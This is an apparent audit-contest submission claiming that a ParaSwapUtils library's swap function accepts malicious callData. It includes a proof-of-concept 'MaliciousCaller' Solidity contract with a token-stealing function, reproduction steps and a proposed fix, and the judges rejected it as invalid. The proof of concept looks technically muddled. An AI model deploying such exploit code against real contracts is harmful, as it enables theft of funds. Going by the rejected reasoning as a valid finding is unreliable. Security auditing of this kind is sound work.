DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Malicious callData in the ParaSwapUtils

Summary

The swap function in the ParaSwapUtils library is vulnerable to malicious callData. The function does not fully validate the callData passed to it, which could allow an attacker to craft malicious callData to manipulate the swap operation or drain funds.

Vulnerability Details

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IAugustusSwapper {
function getTokenTransferProxy() external view returns (address);
}
library ParaSwapUtils {
using SafeERC20 for IERC20;
function swap(address to, bytes memory callData) external {
_validateCallData(to, callData);
address approvalAddress = IAugustusSwapper(to).getTokenTransferProxy();
address fromToken;
uint256 fromAmount;
assembly {
fromToken := mload(add(callData, 68))
fromAmount := mload(add(callData, 100))
}
IERC20(fromToken).safeApprove(approvalAddress, fromAmount);
(bool success, ) = to.call(callData);
require(success, "paraswap call reverted");
}

proof of concept

Setup

  1. Deploy the ParaSwapUtils library.

  2. Deploy a malicious contract that crafts malicious callData.

  3. Call the swap function with the malicious callData.


ParaSwapUtils Library (Vulnerable)

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IAugustusSwapper {
function getTokenTransferProxy() external view returns (address);
}
library ParaSwapUtils {
using SafeERC20 for IERC20;
function swap(address to, bytes memory callData) external {
_validateCallData(to, callData);
address approvalAddress = IAugustusSwapper(to).getTokenTransferProxy();
address fromToken;
uint256 fromAmount;
assembly {
fromToken := mload(add(callData, 68)) // Extracts `fromToken` from `callData`
fromAmount := mload(add(callData, 100)) // Extracts `fromAmount` from `callData`
}
IERC20(fromToken).safeApprove(approvalAddress, fromAmount);
(bool success, ) = to.call(callData); // Executes `callData` without full validation
require(success, "paraswap call reverted");
}
function _validateCallData(address to, bytes memory callData) internal view {
require(to == address(0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57), "invalid paraswap callee");
address receiver;
assembly {
receiver := mload(add(callData, 196)) // Extracts `receiver` from `callData`
}
require(receiver == address(this), "invalid paraswap calldata");
}
}

The malicious contract crafts callData to manipulate the receiver address and steal funds.

// Malicious Contract to Demonstrate the Issue
contract MaliciousCaller {
address public constant AUGUSTUS_SWAPPER = address(0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57);
function exploitMaliciousCallData(address paraSwapUtilsAddress, address tokenAddress, uint256 amount) external {
// Craft malicious callData
bytes memory maliciousCallData = abi.encodeWithSignature(
"swap(address,bytes)",
AUGUSTUS_SWAPPER, // Valid AugustusSwapper address
abi.encode(
tokenAddress, // fromToken = legitimate token address
amount, // fromAmount = legitimate amount
address(this) // receiver = attacker's address (malicious)
)
);
// Call the swap function with malicious callData
(bool success, ) = paraSwapUtilsAddress.call(maliciousCallData);
require(success, "Exploit failed");
}
// Function to steal tokens approved for the contract
function stealTokens(address tokenAddress, address approvalAddress, uint256 amount) external {
IERC20(tokenAddress).transferFrom(approvalAddress, address(this), amount);
}
}

Steps to Reproduce

  • Deploy the ParaSwapUtils library to a testnet or local blockchain.

  • Deploy the MaliciousCaller contract, which will be used to demonstrate the exploit.

  • Approve a legitimate ERC20 token (e.g., tokenAddress) for the ParaSwapUtils contract with a sufficient allowance.

  • Call the exploitMaliciousCallData function in the MaliciousCaller contract, passing the address of the ParaSwapUtils library, the legitimate token address, and the amount to steal.

  • The swap function will execute the malicious callData, approving the approvalAddress for the specified amount.

  • The attacker can then call the stealTokens function to transfer the approved tokens to their address.

Expected Output

  • The swap function will approve the approvalAddress for the specified amount of tokens.

  • The attacker will successfully steal the approved tokens by calling the stealTokens function.

Impact

  • An attacker could craft callData to manipulate the fromToken, fromAmount, or receiver address, potentially draining funds from the contract or redirecting tokens to an unauthorized address.

  • Malicious callData could cause the function to behave unexpectedly, such as swapping the wrong tokens or amounts.

  • If the callData includes a call to a malicious contract, it could exploit reentrancy vulnerabilities in the swap function.

Tools Used

Manual Code Review

Recommendations

Thoroughly validate the callData parameters before using them. validate the callData and ensure the receiver address is not manipulated.

function swap(address to, bytes memory callData) external {
_validateCallData(to, callData);
address approvalAddress = IAugustusSwapper(to).getTokenTransferProxy();
// Safely decode callData
(address fromToken, uint256 fromAmount, address receiver) = abi.decode(callData, (address, uint256, address));
// Validate parameters
require(fromToken != address(0), "Invalid token address: zero address not allowed");
require(fromAmount > 0, "Invalid amount: must be greater than zero");
require(receiver == address(this), "Invalid receiver: must be the contract address");
IERC20(fromToken).safeApprove(approvalAddress, fromAmount);
(bool success, ) = to.call(callData);
require(success, "paraswap call reverted");
}
Updates

Lead Judging Commences

n0kto Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Admin is trusted / Malicious keepers

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point. Keepers are added by the admin, there is no "malicious keeper" and if there is a problem in those keepers, that's out of scope. ReadMe and known issues states: " * System relies heavily on keeper for executing trades * Single keeper point of failure if not properly distributed * Malicious keeper could potentially front-run or delay transactions * Assume that Keeper will always have enough gas to execute transactions. There is a pay execution fee function, but the assumption should be that there's more than enough gas to cover transaction failures, retries, etc * There are two spot swap functionalies: (1) using GMX swap and (2) using Paraswap. We can assume that any swap failure will be retried until success. " " * Heavy dependency on GMX protocol functioning correctly * Owner can update GMX-related addresses * Changes in GMX protocol could impact system operations * We can assume that the GMX keeper won't misbehave, delay, or go offline. " "Issues related to GMX Keepers being DOS'd or losing functionality would be considered invalid."

invalid_ParaswapUtils_swap_malicious_callData

This function call only reached via a function called by the keeper. So no malicious callData will be provided.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.